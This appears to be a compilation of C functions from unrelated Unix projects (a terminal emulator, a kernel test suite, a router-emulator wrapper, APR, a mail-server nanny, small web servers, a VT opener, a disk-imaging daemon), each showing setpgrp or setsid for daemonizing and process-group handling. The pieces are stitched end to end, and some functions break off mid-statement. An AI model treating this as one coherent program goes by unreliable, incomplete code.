void pty_make_controlling_tty(int *ttyfd, const char *tty) { int fd; #ifdef USE_VHANGUP void *old; #endif /* USE_VHANGUP */ #ifdef _UNICOS if (setsid() < 0) error("setsid: %.100s", strerror(errno)); fd = open(tty, O_RDWR|O_NOCTTY); if (fd != -1) { signal(SIGHUP, SIG_IGN); ioctl(fd, TCVHUP, (char *)NULL); signal(SIGHUP, SIG_DFL); setpgid(0, 0); close(fd); } else { error("Failed to disconnect from controlling tty."); } debug("Setting controlling tty using TCSETCTTY."); ioctl(*ttyfd, TCSETCTTY, NULL); fd = open("/dev/tty", O_RDWR); if (fd < 0) error("%.100s: %.100s", tty, strerror(errno)); close(*ttyfd); *ttyfd = fd; #else /* _UNICOS */ /* First disconnect from the old controlling tty. */ #ifdef TIOCNOTTY fd = open(_PATH_TTY, O_RDWR | O_NOCTTY); if (fd >= 0) { (void) ioctl(fd, TIOCNOTTY, NULL); close(fd); } #endif /* TIOCNOTTY */ if (setsid() < 0) error("setsid: %.100s", strerror(errno)); /* * Verify that we are successfully disconnected from the controlling * tty. */ fd = open(_PATH_TTY, O_RDWR | O_NOCTTY); if (fd >= 0) { error("Failed to disconnect from controlling tty."); close(fd); } /* Make it our controlling tty. */ #ifdef TIOCSCTTY debug("Setting controlling tty using TIOCSCTTY."); if (ioctl(*ttyfd, TIOCSCTTY, NULL) < 0) error("ioctl(TIOCSCTTY): %.100s", strerror(errno)); #endif /* TIOCSCTTY */ #ifdef NEED_SETPGRP if (setpgrp(0,0) < 0) error("SETPGRP %s",strerror(errno)); #endif /* NEED_SETPGRP */ #ifdef USE_VHANGUP old = signal(SIGHUP, SIG_IGN); vhangup(); signal(SIGHUP, old); #endif /* USE_VHANGUP */ fd = open(tty, O_RDWR); if (fd < 0) { error("%.100s: %.100s", tty, strerror(errno)); } else { #ifdef USE_VHANGUP close(*ttyfd); *ttyfd = fd; #else /* USE_VHANGUP */ close(fd); #endif /* USE_VHANGUP */ } /* Verify that we now have a controlling tty. */ fd = open(_PATH_TTY, O_WRONLY); if (fd < 0) error("open /dev/tty failed - could not set controlling tty: %.100s", strerror(errno)); else close(fd); #endif /* _UNICOS */ }
/* * Called to set up the pty. * * Returns an error message, or NULL on success. * * Also places the canonical host name into `realhost'. It must be * freed by the caller. */ static const char *pty_init(void *frontend, void **backend_handle, Config *cfg, char *host, int port, char **realhost, int nodelay, int keepalive) { int slavefd; pid_t pid, pgrp; long windowid; pty_frontend = frontend; *backend_handle = NULL; /* we can't sensibly use this, sadly */ pty_cfg = *cfg; /* structure copy */ pty_term_width = cfg->width; pty_term_height = cfg->height; if (pty_master_fd < 0) pty_open_master(); /* * Set the backspace character to be whichever of ^H and ^? is * specified by bksp_is_delete. */ { struct termios attrs; tcgetattr(pty_master_fd, &attrs); attrs.c_cc[VERASE] = cfg->bksp_is_delete ? '\177' : '\010'; tcsetattr(pty_master_fd, TCSANOW, &attrs); } /* * Stamp utmp (that is, tell the utmp helper process to do so), * or not. */ if (!cfg->stamp_utmp) { close(pty_utmp_helper_pipe); /* just let the child process die */ pty_utmp_helper_pipe = -1; } else { char *location = get_x_display(pty_frontend); int len = strlen(location)+1, pos = 0; /* +1 to include NUL */ while (pos < len) { int ret = write(pty_utmp_helper_pipe, location+pos, len - pos); if (ret < 0) { perror("pterm: writing to utmp helper process"); close(pty_utmp_helper_pipe); /* arrgh, just give up */ pty_utmp_helper_pipe = -1; break; } pos += ret; } } windowid = get_windowid(pty_frontend); /* * Fork and execute the command. */ pid = fork(); if (pid < 0) { perror("fork"); exit(1); } if (pid == 0) { int i; /* * We are the child. */ slavefd = open(pty_name, O_RDWR); if (slavefd < 0) { perror("slave pty: open"); _exit(1); } close(pty_master_fd); fcntl(slavefd, F_SETFD, 0); /* don't close on exec */ dup2(slavefd, 0); dup2(slavefd, 1); dup2(slavefd, 2); setsid(); ioctl(slavefd, TIOCSCTTY, 1); pgrp = getpid(); tcsetpgrp(slavefd, pgrp); setpgrp(); close(open(pty_name, O_WRONLY, 0)); setpgrp(); /* Close everything _else_, for tidiness. */ for (i = 3; i < 1024; i++) close(i); { char term_env_var[10 + sizeof(cfg->termtype)]; sprintf(term_env_var, "TERM=%s", cfg->termtype); putenv(term_env_var); } { char windowid_env_var[40]; sprintf(windowid_env_var, "WINDOWID=%ld", windowid); putenv(windowid_env_var); } { char *e = cfg->environmt; char *var, *varend, *val, *varval; while (*e) { var = e; while (*e && *e != '\t') e++; varend = e; if (*e == '\t') e++; val = e; while (*e) e++; e++; varval = dupprintf("%.*s=%s", varend-var, var, val); putenv(varval); /* * We must not free varval, since putenv links it * into the environment _in place_. Weird, but * there we go. Memory usage will be rationalised * as soon as we exec anyway. */ } } /* * SIGINT and SIGQUIT may have been set to ignored by our * parent, particularly by things like sh -c 'pterm &' and * some window managers. Reverse this for our child process. */ putty_signal(SIGINT, SIG_DFL); putty_signal(SIGQUIT, SIG_DFL); if (pty_argv) execvp(pty_argv[0], pty_argv); else { char *shell = getenv("SHELL"); char *shellname; if (cfg->login_shell) { char *p = strrchr(shell, '/'); shellname = snewn(2+strlen(shell), char); p = p ? p+1 : shell; sprintf(shellname, "-%s", p); } else
/******************************************************************************* * This routine sets up the interprocess communication pipes, signal handling, * and process group information. ******************************************************************************/ void setup() { int errno_buf; /*indicates the errno if pipe set up fails. */ int err_flag = FALSE; /*Indicates if an error has occurred in pipe set up. */ /* * Set the process group ID to be equal between the parent and children. */ (void)setpgrp(); /* * Set to catch unexpected signals. * SIGCLD is set to be ignored because we do not wait for termination status. * SIGUSR1 is set to be ignored because this is the signal we are using for * the test and we are not concerned with the parent getting it. */ tst_sig(FORK, DEF_HANDLER, cleanup); if (signal(SIGUSR1, SIG_IGN) == SIG_ERR) { tst_brkm(TBROK | TFAIL, NULL, "signal(SIGUSR1, SIG_IGN) failed"); tst_exit(); } if (signal(SIGCLD, SIG_IGN) == SIG_ERR) { tst_brkm(TBROK | TERRNO, NULL, "signal(SIGCLD, SIG_IGN) failed"); tst_exit(); } /* Indicate which errnos are expected */ TEST_EXP_ENOS(exp_enos); TEST_PAUSE; /* * Set up pipe1, pipe2, pipeA, and pipeB. */ if ((pipe(pipe1_fd) == -1) || (fcntl(pipe1_fd[0], F_SETFL, O_NDELAY) == -1)) { errno_buf = errno; err_flag = TRUE; } if ((pipe(pipe2_fd) == -1) || (fcntl(pipe2_fd[0], F_SETFL, O_NDELAY) == -1)) { errno_buf = errno; err_flag = TRUE; } if ((pipe(pipeA_fd) == -1) || (fcntl(pipeA_fd[0], F_SETFL, O_NDELAY) == -1)) { errno_buf = errno; err_flag = TRUE; } if ((pipe(pipeB_fd) == -1) || (fcntl(pipeB_fd[0], F_SETFL, O_NDELAY) == -1)) { errno_buf = errno; err_flag = TRUE; } /* * Check for errors. */ if (err_flag == TRUE) { tst_brkm(TBROK | TERRNO, NULL, "pipe() failed"); tst_exit(); } return; }
int Setpgrp (int pid,int gid) { return setpgrp (); }
/* * do_child_1() */ void do_child_1(void) { int kid_count, fork_kid_pid[MAXKIDS]; int ret_val; int i, j, k, found; int group1, group2; int wait_kid_pid[MAXKIDS], status; setup_sigint(); group1 = getpgrp(); for (kid_count = 0; kid_count < MAXKIDS; kid_count++) { if (kid_count == (MAXKIDS / 2)) { group2 = setpgrp(); } intintr = 0; ret_val = FORK_OR_VFORK(); if (ret_val == 0) { /* child */ #ifdef UCLINUX if (self_exec(argv0, "n", 2) < 0) { tst_resm(TFAIL, "Fork kid %d failed. " "errno = %d", kid_count, errno); exit(ret_val); } #else do_exit(); #endif } else if (ret_val < 0) { tst_resm(TFAIL, "Fork kid %d failed. " "errno = %d", kid_count, errno); exit(ret_val); } /* parent */ fork_kid_pid[kid_count] = ret_val; } #ifdef UCLINUX /* Give the kids a chance to setup SIGINT again, since this is * cleared by exec(). */ sleep(3); #endif /* Now send all the kids a SIGINT to tell them to * proceed */ for (i = 0; i < MAXKIDS; i++) { if (kill(fork_kid_pid[i], SIGINT) < 0) { tst_resm(TFAIL, "Kill of child %d " "failed, errno = %d", i, errno); exit(-1); } } /* * Wait till all kids have terminated. Stash away their * pid's in an array. */ kid_count = 0; errno = 0; while (((ret_val = waitpid(-1, &status, 0)) != -1) || (errno == EINTR)) { if (ret_val == -1) { continue; } if (!WIFEXITED(status)) { tst_resm(TFAIL, "Child %d did not exit " "normally", ret_val); flag = FAILED; printf("status: %d\n", status); } else { if (WEXITSTATUS(status) != 3) { tst_resm(TFAIL, "Child %d" "exited with wrong " "status", ret_val); tst_resm(TFAIL, "Expected 3 " "got %d ", WEXITSTATUS(status)); flag = FAILED; } } wait_kid_pid[kid_count++] = ret_val; } /* * Check that for every entry in the fork_kid_pid array, * there is a matching pid in the wait_kid_pid array. If * not, it's an error. */ for (i = 0; i < kid_count; i++) { found = 0; for (j = 0; j < MAXKIDS; j++) { if (fork_kid_pid[j] == wait_kid_pid[i]) { found = 1; break; } } if (!found) { tst_resm(TFAIL, "Did not find a " "wait_kid_pid for the " "fork_kid_pid of %d", wait_kid_pid[i]); for (k = 0; k < MAXKIDS; k++) { tst_resm(TFAIL, "fork_kid_pid[%d] = " "%d", k, fork_kid_pid[k]); } for (k = 0; k < kid_count; k++) { tst_resm(TFAIL, "wait_kid_pid[%d] = " "%d", k, wait_kid_pid[k]); } flag = FAILED; } } if (flag) { exit(1); } else { exit(0); } }
int main (int argc, char *argv[]) { setpgrp(); // Become the leader of its group. // Child's CMD line int m = sysconf(_SC_ARG_MAX); // Maximum CMD line length char *cmd; // Store child's CMD line cmd = (char *) calloc(m, sizeof(char)); // Child's parameters int *child_delay = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); *child_delay = 0; // Delay before starting (shared between parent and child) int child_pid = -1; // PID after the fork() int child_status = -1; // Used during waitpid() char *child_file = NULL; // Binary file // Telnet server int ts_port = -1; // TCP (console) and UDP (serial converter) port char *xtitle = "Terminal Server"; // Title for telnet clients // Select parameters int *infd = calloc(2, sizeof(int)); // Array of integers [0] is for reading, [1] is for writing int *outfd = calloc(2, sizeof(int)); // Array of integers [0] is for reading, [1] is for writing fd_set active_fd_set; // Contains active FD using in select() FD_ZERO(&active_fd_set); fd_set read_fd_set; // Contains FD selected in current loop FD_ZERO(&read_fd_set); // Other parameters int i = -1; // Counter int j = -1; // Counter int opt = NULL; // Store CMD options int rc = -1; // Generic return code char *tmp = NULL; // Generic char string struct sigaction sa; // Manage signals (SIGHUP, SIGTERM...) // Wrapper parameters int child_afsocket[100]; // Store AF_UNIX child sockets memset(&child_afsocket, 0, sizeof(child_afsocket)); int ser_remoteid[64]; // Store Remote Device ID (used for UDP communication) memset(&ser_remoteid, 0, sizeof(ser_remoteid)); int ser_remoteif[64]; // Store Remote Interface ID (used for UDP communication) memset(&ser_remoteif, 0, sizeof(ser_remoteif)); int udpserver_socket = -1; // UDP socket for serial communications int wrapper_afsocket[100]; // Store AF_UNIX wrapper sockets memset(&wrapper_afsocket, 0, sizeof(wrapper_afsocket)); // Parsing options while ((opt = getopt(argc, argv, ":vT:D:d:t:F:x")) != -1) { switch (opt) { default: usage(argv[0]); exit(1); // Begin standard parameters case 'v': printf("%s\n", VERSION); exit(0); case 'T': // Mandatory: Tenant ID tenant_id = atoi(optarg); if (tenant_id < 0) { UNLLog(LLERROR,"Tenant_id must be integer.\n"); exit(1); } UNLLog(LLINFO, "Tennant_id = %i\n", tenant_id); break; case 'D': // Mandatory: Device ID device_id = atoi(optarg); if (tenant_id < 0) { UNLLog(LLERROR,"Device_id must be integer.\n"); exit(1); } UNLLog(LLINFO, "Device_id = %i\n", device_id); break; case 'F': // Mandatory: IOS child_file = optarg; if (is_file(child_file) != 0) { UNLLog(LLERROR,"File '%s' does not exist.\n", child_file); exit(1); } break; case 'd': // Optional: child's startup delay (default 0) *child_delay = atoi(optarg); if (*child_delay < 0) { UNLLog(LLERROR,"Delay must be integer.\n"); exit(1); } break; case 't': // Optional: telnet window title (default "Terminal Server") xtitle = optarg; break; } } // Checking if tenant_id is set if (tenant_id < 0) { UNLLog(LLERROR,"Tenant ID not set.\n"); exit(1); } // Checking if device_id is set if (device_id < 0) { UNLLog(LLERROR,"Device ID not set.\n"); exit(1); } // Checking if child_file is set if (child_file == NULL) { UNLLog(LLERROR,"Subprocess executable not set.\n"); exit(1); } // Building the CMD line ts_port = 32768 + 128 * tenant_id + device_id; tmp = (char *) malloc(m * sizeof(char)); sprintf(tmp, "/usr/bin/dynamips -N '%s' -T %i", xtitle, ts_port); cmd_add(&cmd, tmp); free(tmp); // Adding parameters after "--" j = 0; for (i = 1; i < argc; i++) { if (j == 1) { // Adding parameter given after "--" cmd_add(&cmd, " "); cmd_add(&cmd, argv[i]); } if (strcmp(argv[i], "--") == 0) { // Found "--" j = 1; } } // Adding the IOS filename cmd_add(&cmd, " "); cmd_add(&cmd, child_file); // Creating PIPEs for select() if ((pipe(infd)) < 0 || pipe(outfd) < 0) { UNLLog(LLERROR, "Failed to create PIPEs (%s).\n", strerror(errno)); exit(1); } // Forking if ((rc = fork()) == 0) { // Child: stating subprocess UNLLog(LLINFO, "Starting child (%s).\n", cmd); if (*child_delay > 0) { // Delay is set, waiting for (; *child_delay > 0;) { rc = write(outfd[1], ".", 1); *child_delay = *child_delay - 1; sleep(1); } rc = write(outfd[1], "\n", 1); } close(STDIN_FILENO); // Closing child's stdin close(STDOUT_FILENO); // Closing child's stdout dup2(infd[0], STDIN_FILENO); // Linking stdin to PIPE dup2(outfd[1], STDOUT_FILENO); // Linking stdout to PIPE dup2(outfd[1], STDERR_FILENO); // Redirect child's stderr to child's stdout close(infd[0]); close(infd[1]); close(outfd[0]); close(outfd[1]); // Start process rc = cmd_start(cmd); // Subprocess terminated, killing the parent UNLLog(LLERROR,"Child terminated (%i).\n", rc); } else if (rc > 0) { // Parent close(infd[0]); // Used by the child close(outfd[1]); // Used by the child // Handling Signals signal(SIGPIPE,SIG_IGN); // Ignoring SIGPIPE when a client terminates sa.sa_handler = &signal_handler; // Setup the sighub handler sa.sa_flags = SA_RESTART; // Restart the system call, if at all possible sigemptyset(&sa.sa_mask); // Signals blocked during the execution of the handler sigaddset(&sa.sa_mask, SIGHUP); // Signal 1 sigaddset(&sa.sa_mask, SIGINT); // Signal 2 sigaddset(&sa.sa_mask, SIGTERM); // Signal 15 sigfillset(&sa.sa_mask); // Intercept SIGHUP, SIGINT, SIGUSR1 and SIGTERM if (sigaction(SIGHUP, &sa, NULL) == -1) { UNLLog(LLERROR, "Cannot handle SIGHUP (%s).\n", strerror(errno)); } if (sigaction(SIGINT, &sa, NULL) == -1) { UNLLog(LLERROR, "Cannot handle SIGINT (%s).\n", strerror(errno)); } if (sigaction(SIGTERM, &sa, NULL) == -1) { UNLLog(LLERROR, "Cannot handle SIGTERM (%s).\n", strerror(errno)); } // Preparing select() FD_ZERO(&active_fd_set); FD_ZERO(&read_fd_set); if (udpserver_socket > 0) { FD_SET(udpserver_socket, &active_fd_set); // Adding UDP socket } // While subprocess is running, check IO from subprocess, telnet clients, socket and network waitpid(child_pid, &child_status, 0); // Child is no more running UNLLog(LLERROR, "Child is no more running.\n"); } else { UNLLog(LLERROR, "Failed to fork (%s).\n", strerror(errno)); exit(1); } exit(0); }
APR_DECLARE(apr_status_t) apr_proc_detach(int daemonize) { int x; if (chdir("/") == -1) { return errno; } #if !defined(MPE) && !defined(OS2) && !defined(TPF) && !defined(BEOS) /* Don't detach for MPE because child processes can't survive the death of * the parent. */ if (daemonize) { if ((x = fork()) > 0) { exit(0); } else if (x == -1) { perror("fork"); fprintf(stderr, "unable to fork new process\n"); exit(1); /* we can't do anything here, so just exit. */ } /* RAISE_SIGSTOP(DETACH); */ } #endif #ifdef HAVE_SETSID /* A setsid() failure is not fatal if we didn't just fork(). * The calling process may be the process group leader, in * which case setsid() will fail with EPERM. */ if (setsid() == -1 && daemonize) { return errno; } #elif defined(NEXT) || defined(NEWSOS) if (setpgrp(0, getpid()) == -1) { return errno; } #elif defined(OS2) || defined(TPF) || defined(MPE) /* do nothing */ #else if (setpgid(0, 0) == -1) { return errno; } #endif /* close out the standard file descriptors */ if (freopen("/dev/null", "r", stdin) == NULL) { return errno; /* continue anyhow -- note we can't close out descriptor 0 because we * have nothing to replace it with, and if we didn't have a descriptor * 0 the next file would be created with that value ... leading to * havoc. */ } if (freopen("/dev/null", "w", stdout) == NULL) { return errno; } /* We are going to reopen this again in a little while to the error * log file, but better to do it twice and suffer a small performance * hit for consistancy than not reopen it here. */ if (freopen("/dev/null", "w", stderr) == NULL) { return errno; } return APR_SUCCESS; }
static void StartMailboxd() { FILE *fp; struct passwd *pw; if ((MailboxdPid = fork()) != 0) { /* In parent process (manager) */ return; } /* In child process (mailboxd/JVM) */ /* For informational purposes only, write the the server pid to a file. Note that this is not authoritative because only the running nanny/manager process knows the true pid of the mailboxd/JVM that is running right now. */ RecordPid("java", MAILBOXD_JAVA_PIDFILE, getpid()); /* It is customary to not inherit umask and to clear the umask completely so applications can set whatever exact permissions it is that they want. However, Java programs can not set permissions for new files, so we default the mask to something reasonable. */ umask(027); /* Redirect mailboxd stdout and stderr to mailboxd.out */ fp = fopen(MAILBOXD_OUTFILE, "a"); if (fp != NULL) { dup2(fileno(fp), fileno(stdout)); dup2(fileno(fp), fileno(stderr)); /* Change mailboxd.out ownership */ pw = getpwnam(ZIMBRA_USER); if (pw) { fchown(fileno(fp), pw->pw_uid, pw->pw_gid); } else { syslog(LOG_WARNING, "can't change ownership of %s: user %s not found: %s", MAILBOXD_OUTFILE, ZIMBRA_USER, strerror(errno)); } fclose(fp); } else { syslog(LOG_WARNING, "opening output file %s failed: %s", MAILBOXD_OUTFILE, strerror(errno)); } fclose(stdin); #ifdef DARWIN { int tfd; setpgrp(0, getpid()); if ((tfd = open("/dev/tty", O_RDWR)) >= 0) { ioctl(tfd, TIOCNOTTY, (char *)0); /* lose control tty */ close(tfd); } } #else setpgrp(); #endif execv(JAVA_BINARY, newArgv); }
int main(int argc, char **argv) { int i, port, pid, listenfd, socketfd, hit; size_t length; static struct sockaddr_in cli_addr; /* static = initialised to zeros */ static struct sockaddr_in serv_addr; /* static = initialised to zeros */ if( argc < 3 || argc > 3 || !strcmp(argv[1], "-?") ) { (void)printf("hint: nweb Port-Number Top-Directory\n\n" "\tnweb is a small and very safe mini web server\n" "\tnweb only servers out file/web pages with extensions named below\n" "\t and only from the named directory or its sub-directories.\n" "\tThere is no fancy features = safe and secure.\n\n" "\tExample: nweb 8181 /home/nwebdir &\n\n" "\tOnly Supports:"); for(i=0;extensions[i].ext != 0;i++) (void)printf(" %s",extensions[i].ext); (void)printf("\n\tNot Supported: URLs including \"..\", Java, Javascript, CGI\n" "\tNot Supported: directories / /etc /bin /lib /tmp /usr /dev /sbin \n" "\tNo warranty given or implied\n\tNigel Griffiths [email protected]\n" ); exit(0); } if( !strncmp(argv[2],"/" ,2 ) || !strncmp(argv[2],"/etc", 5 ) || !strncmp(argv[2],"/bin",5 ) || !strncmp(argv[2],"/lib", 5 ) || !strncmp(argv[2],"/tmp",5 ) || !strncmp(argv[2],"/usr", 5 ) || !strncmp(argv[2],"/dev",5 ) || !strncmp(argv[2],"/sbin",6) ){ (void)printf("ERROR: Bad top directory %s, see nweb -?\n",argv[2]); exit(3); } if(chdir(argv[2]) == -1){ (void)printf("ERROR: Can't Change to directory %s\n",argv[2]); exit(4); } /* Become deamon + unstopable and no zombies children (= no wait()) */ if(fork() != 0) return 0; /* parent returns OK to shell */ (void)signal(SIGCHLD, SIG_IGN); /* ignore child death */ (void)signal(SIGHUP, SIG_IGN); /* ignore terminal hangups */ for(i=0;i<32;i++) (void)close(i); /* close open files */ (void)setpgrp(); /* break away from process group */ nweb_log(LOG,"nweb starting",argv[1],getpid()); /* setup the network socket */ if((listenfd = socket(AF_INET, SOCK_STREAM,0)) <0) nweb_log(ERROR, "system call","socket",0); port = atoi(argv[1]); if(port < 0 || port >60000) nweb_log(ERROR,"Invalid port number (try 1->60000)",argv[1],0); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); serv_addr.sin_port = htons(port); if(bind(listenfd, (struct sockaddr *)&serv_addr,sizeof(serv_addr)) <0) nweb_log(ERROR,"system call","bind",0); if( listen(listenfd,64) <0) nweb_log(ERROR,"system call","listen",0); for(hit=1; ;hit++) { length = sizeof(cli_addr); if((socketfd = accept(listenfd, (struct sockaddr *)&cli_addr, (socklen_t *)&length)) < 0) nweb_log(ERROR,"system call","accept",0); if((pid = fork()) < 0) { nweb_log(ERROR,"system call","fork",0); } else { if(pid == 0) { /* child */ (void)close(listenfd); nweb_child(socketfd,hit); /* never returns */ } else { /* parent */ (void)close(socketfd); } } } }
int main (int argc, char *argv[]) { char vtname[256]; int status; int cmd_start = 1; char *command = NULL; if (getuid () != geteuid () || getuid () != 0) { fprintf (stderr, "mdmopen: Only root wants to run me\n"); return 66; } signal (SIGTERM, sighandler); signal (SIGINT, sighandler); signal (SIGHUP, sighandler); if (argc <= 1) { fprintf (stderr, "mdmopen: must supply a command!\n"); return 66; } command = argv[1]; if (strcmp (argv[1], "-l") == 0) { char *p; if (argc <= 2) { fprintf (stderr, "mdmopen: must supply a command!\n"); return 66; } /* prepend '-' and start the command at * argument 2 */ cmd_start = 2; command = argv[2]; argv[2] = malloc (strlen (command) + 2); if (argv[2] == NULL) { fprintf (stderr, "mdmopen: cannot allocate memory!\n"); return 66; } p = strrchr (command, '/'); if (p != NULL) { /* make it "-basename" */ strcpy (argv[2]+1, p+1); } else { strcpy (argv[2]+1, command); } *(argv[2]) = '-'; } fd = open (MDMCONSOLEDEVICE, O_WRONLY, 0); if (fd < 0) { perror ("mdmopen: Failed to open " MDMCONSOLEDEVICE); return 66; } errno = 0; if ((ioctl(fd, VT_OPENQRY, &vtno) < 0) || (vtno == -1)) { perror ("mdmopen: Cannot find a free VT"); IGNORE_EINTR (close (fd)); return 66; } if (ioctl(fd, VT_GETSTATE, &vt) < 0) { perror ("mdmopen: can't get VTstate"); IGNORE_EINTR (close(fd)); return 66; } snprintf (vtname, sizeof (vtname), VTNAME, vtno); chown (vtname, 0, -1); child_pid = fork(); if (child_pid == 0) { char VT_NUMBER[256]; if (getenv ("UNSAFE_TO_TRANSLATE") != NULL && strcmp (getenv ("UNSAFE_TO_TRANSLATE"), "yes") == 0) { putenv ("LANG=C"); /* portable way to truly unset with putenv? */ putenv ("LC_ALL="); putenv ("LC_MESSAGES="); putenv ("LC_ALL"); putenv ("LC_MESSAGES"); } #ifdef __linux__ putenv ("TERM=linux"); #endif snprintf (VT_NUMBER, sizeof (VT_NUMBER), "VT_NUMBER=%d", vtno); putenv (VT_NUMBER); signal (SIGTERM, SIG_DFL); signal (SIGINT, SIG_DFL); signal (SIGHUP, SIG_DFL); /* leave current vt */ if ( #ifdef ESIX_5_3_2_D setpgrp() < 0 #else setsid() < 0 #endif ) { fprintf(stderr, "open: Unable to set new session (%s)\n", strerror(errno)); } IGNORE_EINTR (close (0)); IGNORE_EINTR (close (1)); IGNORE_EINTR (close (2)); IGNORE_EINTR (close (fd)); /* and grab new one */ fd = open (vtname, O_RDWR); if (fd < 0) { /* Shouldn't happen */ _exit (66); /* silently die */ } dup(fd); dup(fd); /* * Can't tell anyone if any of these fail, so throw away * the return values */ (void) ioctl(fd, VT_ACTIVATE, vtno); /* wait to be really sure we have switched */ (void) ioctl(fd, VT_WAITACTIVE, vtno); #ifdef __linux__ /* Turn on fonts */ IGNORE_EINTR (write (0, "\033(K", 3)); #endif /* __linux__ */ execvp (command, &argv[cmd_start]); _exit (66); /* failed */ } if (child_pid < 0) { perror ("mdmopen: fork() error"); return 66; } do_switchback = TRUE; IGNORE_EINTR (waitpid (child_pid, &status, 0)); child_pid = -1; do_switchback = FALSE; /* Switch back... */ (void) ioctl(fd, VT_ACTIVATE, vt.v_active); /* wait to be really sure we have switched */ (void) ioctl(fd, VT_WAITACTIVE, vt.v_active); IGNORE_EINTR (close (fd)); if (WIFEXITED (status)) return WEXITSTATUS (status); else return 66; }
int main(int argc, char *argv[]) { signal(SIGTERM, cleanExit); signal(SIGINT, cleanExit); int newsockfd; // The socket you get with a connection int port; // The port you listen on int clilen; // The length of the client's address char* res; // stores the result int yes = 1; int pid; struct sockaddr_in serv_addr; // The server's address struct sockaddr_in cli_addr; // The client's address char buffer[BUFFSIZE]; // a buffer to read results to. int n; // number of bytes read /* Become deamon + unstopable and no zombies children (= no wait()) */ if(fork() != 0) { return 0; /* parent returns OK to shell */ } signal(SIGCLD, SIG_IGN); /* ignore child death */ signal(SIGHUP, SIG_IGN); /* ignore terminal hangups */ setpgrp(); /* break away from process group */ // set clilent to size of client address struct clilen = sizeof(cli_addr); // allocate sockfd by calling 'socket' if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("Could not open socket"); return EXIT_FAILURE; } // You should look up what this does if you don't know. setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (const void*)&yes, sizeof(int) ); // Set the port number based on the first command line argument port = (argc > 1) ? atoi(argv[1]) : 8000; // Zero-out the server address bzero((void*) &serv_addr, sizeof(serv_addr)); // initialize the socket structure (i.e., set the values of serv_addr) serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(port); // bind the host address if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) { perror("ERROR on binding"); return EXIT_FAILURE; } // Listen for a client. listen(sockfd, 64); while (1) { // go forever! // Accept actual connection from the client if ((newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen)) < 0) { perror("ERROR on accept"); return EXIT_FAILURE; } if((pid = fork()) < 0) { perror("error on fork"); return EXIT_FAILURE; } else { if(pid == 0) { /* child */ close(sockfd); if ((n = read(newsockfd, buffer, BUFFSIZE, 0)) > 0) { printf("%s", buffer); //res = handle_request(buffer); //write(newsockfd, res, strlen(res),0); handle_request(buffer, newsockfd); bzero(buffer, BUFFSIZE); //free(res); } } else { /* parent */ close(newsockfd); } } // close newsockfd close(newsockfd); } // close sockfd close(sockfd); exit(0); }
int main(int argc, char *argv[]) { unsigned int client; int nOptCh, nRes, nServerPort = SERVER_LISTEN_PORT; char * szRootDir = NULL; char * szPeerName; char szTemp[2048]; struct sockaddr_in server_addr ; memset( &server_addr, 0, sizeof( struct sockaddr_in ) ); // initialize language for i18n setlocale(LC_ALL, ""); bindtextdomain (PACKAGE, LOCALEDIR); textdomain (PACKAGE); g_dwDebugLevel = DEFAULT_DEBUG_LEVEL; g_nDebugThreadMain = getpid(); g_bBeDaemon = false; g_bMustLogin = true; g_bUseSSL = true; g_uiNbClients = MAX_CLIENTS; #ifdef HAVE_GETOPT_H while ((nOptCh = getopt_long(argc, argv, optstring, long_options,NULL)) != EOF) #else while ((nOptCh = getopt(argc, argv, optstring)) != -1) #endif { switch (nOptCh) { case 'p': // listening port nServerPort = atoi(optarg); break; case 'N': // maximum number of clients g_uiNbClients = (unsigned int) atoi(optarg); break; case 'h': // help Usage(); case 'v': // version #ifdef HAVE_SSL printf(i18n("Partition Image Daemon version %s+SSL\n"), PACKAGE_VERSION); #else printf(i18n("Partition Image Daemon version %s\n"), PACKAGE_VERSION); #endif printf(i18n("(distributed under the GNU GPL 2)\n")); exit(0); case 'D': // daemonize g_bBeDaemon = true; break; case 'd': if (chdir(optarg) != 0) { printf(i18n("Directory %s: %s\n"), optarg, strerror(errno)); exit(-1); } break; case 'r': // change chroot if ((optarg) && (optarg[0])) szRootDir = strdup(optarg); break; case 'g': // debug level g_dwDebugLevel = atol(optarg); if (g_dwDebugLevel < 0 || g_dwDebugLevel > 10) g_dwDebugLevel = DEFAULT_DEBUG_LEVEL; break; case 'i': // compilation options formatCompilOptions(szTemp, sizeof(szTemp)); printf("%s\n", szTemp); return EXIT_SUCCESS; break; case 'L': // no login g_bMustLogin = false; break; case 'n': // no SSL g_bUseSSL = false; break; #ifdef __linux__ case 'I': // Bind the daemon to this interface... if ( ! get_iface_addr( &server_addr, optarg ) ) { printf(i18n("Bad network interface name: %s\n"), optarg ); exit( -1 ); } break; #endif default: break; } } if (szRootDir) { // showDebug(2, "about to chroot to %s\n", szRootDir); // g_privs->Root(); if (chdir(szRootDir) < 0) { // g_privs->User(); fprintf(g_fDebug, i18n("failed to chdir to %s: %s\n"), szRootDir, strerror(errno)); delete g_Window; g_Window = NULL; exit(1); } if (chroot(szRootDir) < 0) { // g_privs->User(); fprintf(g_fDebug, i18n("failed to chroot: %s\n"), strerror(errno)); delete g_Window; g_Window = NULL; exit(1); } if (chdir("/") < 0) { // g_privs->User(); fprintf(g_fDebug, i18n("failed to chdir to /: %s\n"), strerror(errno)); delete g_Window; g_Window = NULL; exit(1); } // g_privs->User(); // showDebug(1, "root changed to %s\n", szRootDir); free(szRootDir); szRootDir = NULL; } // Warn: no showDebug must have been called before this point Initialize(); #ifdef MUST_LOGIN if (g_bMustLogin) { if (CheckAccessFile(PARTIMAGED_USERS)) exit(1); } #endif #ifdef HAVE_SSL if (g_bUseSSL) { if ( CheckAccessFile(KEYF) || CheckAccessFile(CERTF) ) { exit(1); } } #endif // pthread_t is no longer needed since we fork for each client // but kept for try catch exceptions to deal with g_uiNbClients pthread_t threads[g_uiNbClients] __attribute__ ((unused)) ; // register signals signal(SIGTERM, catch_sigint); signal(SIGINT, catch_sigint); signal(SIGSEGV, catch_sigint); // segmentation fault signal(SIGCHLD, catch_sigchild); // dont ignore child exits if (g_bBeDaemon) { // fork - so i'm not the owner of the process group any more int pgrp; int i = fork(); if (i < 0) { showDebug(1, "can't fork: %s\n", strerror(errno)); exit(1); } if (i > 0) exit(0); // no need for the parent any more 